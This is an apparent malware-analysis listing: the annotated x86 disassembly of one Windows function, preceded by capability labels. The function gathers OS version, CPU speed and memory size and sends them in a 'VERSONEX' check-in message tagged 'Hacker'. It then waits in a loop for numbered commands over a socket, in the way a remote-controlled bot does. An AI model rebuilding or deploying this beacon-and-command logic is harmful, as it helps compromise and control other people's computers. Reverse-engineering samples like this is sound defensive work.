Function at 0x407fb0
Capabilities:
Get memory capacity
Get socket status
Get system information on windows
Query or enumerate registry value
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4172dc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x133c
call fcn.0040cf00
push ebx
push esi
push edi
call fcn.00407410
mov dword [0xd3ff34], eax
cmp dword [0xd3ff34], 0
jg 0x407fed
jmp 0x4085de
push 0x4b
mov eax, dword [0xd3ff34]
push eax
call fcn.00407640
add esp, 8
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea ecx, [ebp - 0x218]
push ecx
call fcn.0040ce10
add esp, 8
lea edx, [ebp - 0x21c]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x218]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408075
mov dword [ebp - 0x224], 0xc8
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x220]
push eax
push 0
push str.ProductName
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.2000
lea eax, [ebp - 0x114]
push eax
call fcn.0040d860
add esp, 8
test eax, eax
je 0x4080a6
push str.Windows_Server_2000
lea ecx, [ebp - 0x94]
push ecx
call fcn.0040ce10
add esp, 8
jmp 0x4081a6
push 0x4186bc
lea edx, [ebp - 0x114]
push edx
call fcn.0040d860
add esp, 8
test eax, eax
je 0x4080d7
push str.Windows_XP
lea eax, [ebp - 0x94]
push eax
call fcn.0040ce10
add esp, 8
jmp 0x4081a6
push str.2003
lea ecx, [ebp - 0x114]
push ecx
call fcn.0040d860
add esp, 8
test eax, eax
je 0x408108
push str.Windows_Server_2003
lea edx, [ebp - 0x94]
push edx
call fcn.0040ce10
add esp, 8
jmp 0x4081a6
push str.Vista
lea eax, [ebp - 0x114]
push eax
call fcn.0040d860
add esp, 8
test eax, eax
je 0x408136
push str.Windows_Vista
lea ecx, [ebp - 0x94]
push ecx
call fcn.0040ce10
add esp, 8
jmp 0x4081a6
push str.2008
lea edx, [ebp - 0x114]
push edx
call fcn.0040d860
add esp, 8
test eax, eax
je 0x408164
push str.Windows_Server_2008
lea eax, [ebp - 0x94]
push eax
call fcn.0040ce10
add esp, 8
jmp 0x4081a6
push 0x41865c
lea ecx, [ebp - 0x114]
push ecx
call fcn.0040d860
add esp, 8
test eax, eax
je 0x408192
push str.Windows_7
lea edx, [ebp - 0x94]
push edx
call fcn.0040ce10
add esp, 8
jmp 0x4081a6
push str.Windows_NT
lea eax, [ebp - 0x94]
push eax
call fcn.0040ce10
add esp, 8
call fcn.004075e0
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x234]
mov dword [ebp - 0x2c], edx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA_1]
mov dword [ebp - 0x250], eax
push str.GlobalMemoryStatusEx
mov eax, dword [ebp - 0x250]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x290], 0x40
lea ecx, [ebp - 0x290]
push ecx
call dword [ebp - 0x24c]
push 0
push 0x400
mov edx, dword [ebp - 0x284]
push edx
mov eax, dword [ebp - 0x288]
push eax
call fcn.0040d920
push 0
push 0x400
push edx
push eax
call fcn.0040d920
add eax, 1
adc edx, 0
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], edx
mov ecx, dword [ebp - 0x298]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x2b8]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
cdq
mov ecx, dword [ebp - 0x294]
push ecx
mov ecx, dword [ebp - 0x298]
push ecx
push edx
push eax
call fcn.0040d8e0
push 0
push 0x64
push edx
push eax
call fcn.0040d920
mov dword [ebp - 0x24], eax
push str.Hacker
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
lea eax, [ebp - 0x94]
push eax
push str.VERSONEX:_s_d_d_MHz_dMB_dMB_s
lea ecx, [ebp - 0x6bc]
push ecx
call fcn.0040c95b
add esp, 0x20
push 0
lea edx, [ebp - 0x6bc]
push edx
call fcn.0040c8e0
add esp, 4
add eax, 1
push eax
lea eax, [ebp - 0x6bc]
push eax
mov ecx, dword [0xd3ff34]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4082fa
mov edx, dword [0xd3ff34]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4085de
mov dword [ebp - 0x6c4], 0x3c
mov dword [ebp - 0x6c0], 0
mov eax, 1
test eax, eax
je 0x4085d1
mov dword [ebp - 0x7c8], 0
mov dword [ebp - 0x7cc], 0
jmp 0x408340
mov ecx, dword [ebp - 0x7cc]
add ecx, 1
mov dword [ebp - 0x7cc], ecx
mov edx, dword [ebp - 0x7cc]
cmp edx, dword [ebp - 0x7c8]
jae 0x408367
mov eax, dword [ebp - 0x7cc]
mov ecx, dword [ebp + eax*4 - 0x7c4]
cmp ecx, dword [0xd3ff34]
jne 0x408365
jmp 0x408367
jmp 0x408331
mov edx, dword [ebp - 0x7cc]
cmp edx, dword [ebp - 0x7c8]
jne 0x4083a0
cmp dword [ebp - 0x7c8], 0x40
jae 0x4083a0
mov eax, dword [ebp - 0x7cc]
mov ecx, dword [0xd3ff34]
mov dword [ebp + eax*4 - 0x7c4], ecx
mov edx, dword [ebp - 0x7c8]
add edx, 1
mov dword [ebp - 0x7c8], edx
xor eax, eax
test eax, eax
jne 0x408325
lea ecx, [ebp - 0x6c4]
push ecx
push 0
push 0
lea edx, [ebp - 0x7c8]
push edx
mov eax, dword [0xd3ff34]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 0
jg 0x4083df
jmp 0x4085d1
lea ecx, [ebp - 0x7c8]
push ecx
mov edx, dword [0xd3ff34]
push edx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4085cc
push 0
push 0xffff
push 0x42f608
mov eax, dword [0xd3ff34]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x7d4], 0
je 0x40842a
cmp dword [ebp - 0x7d4], 0xffffffff
jne 0x40842f
jmp 0x4085d1
push 0x204
push 0
lea ecx, [ebp - 0x9d8]
push ecx
call fcn.0040c880
add esp, 0xc
push 0x204
push 0x42f608
lea edx, [ebp - 0x9d8]
push edx
call fcn.0040c260
add esp, 0xc
mov eax, dword [ebp - 0x9d8]
mov dword [ebp - 0x1308], eax
cmp dword [ebp - 0x1308], 5
je 0x4085a2
cmp dword [ebp - 0x1308], 6
je 0x408492
cmp dword [ebp - 0x1308], 7
je 0x408596
jmp 0x4085cc
mov dword [0xd400d0], 1
push 0x42c560
lea ecx, [ebp - 0xc8c]
call fcn.00401000
mov dword [ebp - 4], 0
push 0x1a4
push 0
lea ecx, [ebp - 0xe30]
push ecx
call fcn.0040c880
add esp, 0xc
push 0x1a4
push 0x42f608
lea edx, [ebp - 0xe30]
push edx
call fcn.0040c260
add esp, 0xc
mov byte [ebp - 0xfd0], 0
mov ecx, 0x67
xor eax, eax
lea edi, [ebp - 0xfcf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1a0
lea eax, [ebp - 0xe2c]
push eax
lea ecx, [ebp - 0xfd0]
push ecx
call fcn.0040c260
add esp, 0xc
mov dword [ebp - 0xfd4], 0
jmp 0x408531
mov edx, dword [ebp - 0xfd4]
add edx, 1
mov dword [ebp - 0xfd4], edx
cmp dword [ebp - 0xfd4], 0x1a
jae 0x408558
mov eax, dword [ebp - 0xfd4]
shl eax, 4
lea ecx, [ebp + eax - 0xfd0]
push ecx
lea ecx, [ebp - 0xc8c]
call fcn.00401e90
jmp 0x408522
push 0x198
lea edx, [ebp - 0xfd0]
push edx
lea eax, [ebp - 0x116c]
push eax
call fcn.0040c260
add esp, 0xc
lea ecx, [ebp - 0x116c]
push ecx
call fcn.00407770
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc8c]
call fcn.00401d40
jmp 0x4085cc
mov dword [0x93f638], 0
jmp 0x4085cc
push 0x198
lea edx, [ebp - 0x9d4]
push edx
lea eax, [ebp - 0x1304]
push eax
call fcn.0040c260
add esp, 0xc
lea ecx, [ebp - 0x1204]
push ecx
call fcn.004076b0
add esp, 4
jmp 0x40830e
mov edx, dword [0xd3ff34]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret